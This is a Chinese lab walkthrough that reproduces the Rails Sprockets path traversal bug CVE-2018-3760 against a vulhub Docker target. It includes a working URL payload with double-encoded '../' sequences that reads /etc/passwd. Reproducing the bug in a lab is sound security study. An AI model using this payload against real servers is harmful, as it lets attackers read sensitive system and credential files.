Ruby On Rails 路径穿越漏洞复现(CVE-2018-3760)
一、漏洞描述
Ruby On Rails是一个著名的Ruby Web开发框架,它使用链轮作为开发环境中的静态文件服务器。Sprockets是一个编译和分发静态资源文件的Ruby库。在Ruby 3.7.1和更低版本中,存在由辅助解码引起的路径遍历漏洞。攻击者可以使用%252e%252e/访问根目录并读取或执行目标服务器上的任何文件。
影响版本
4.0.0.beta7及更低版本、3.7.1及更低版本、2.12.4及更低版本。
二、漏洞环境搭建
需要准备的工具如下:
1.docker+vulhub漏洞库
2.靶机Ubuntu18.04虚拟机(其他也可以)
打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有的话先安装docker和下载vulhub漏洞库(网上教程很多,这里就不多介绍了)
root@admin666-virtual-machine:~/vulhub/rails/CVE-2018-3760#
执行命令 docker-compose up -d
root@admin666-virtual-machine:~/vulhub/rails/CVE-2018-3760# docker-compose up -d
等到出现以下页面证明已经搭建完成
可以访问 http://your-ip:3000 出现如下页面证明搭建成功!
三、漏洞利用
可以先在url后输入/assets/file:%2f%2f/etc/passwd尝试读取passwd文件,发现出现如下报错页面;可以看到爆出了允许访问的路径
在允许访问的路径上继续构造如下payload,成功读取passwd文件!
/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
四、关闭docker环境
docker-compose down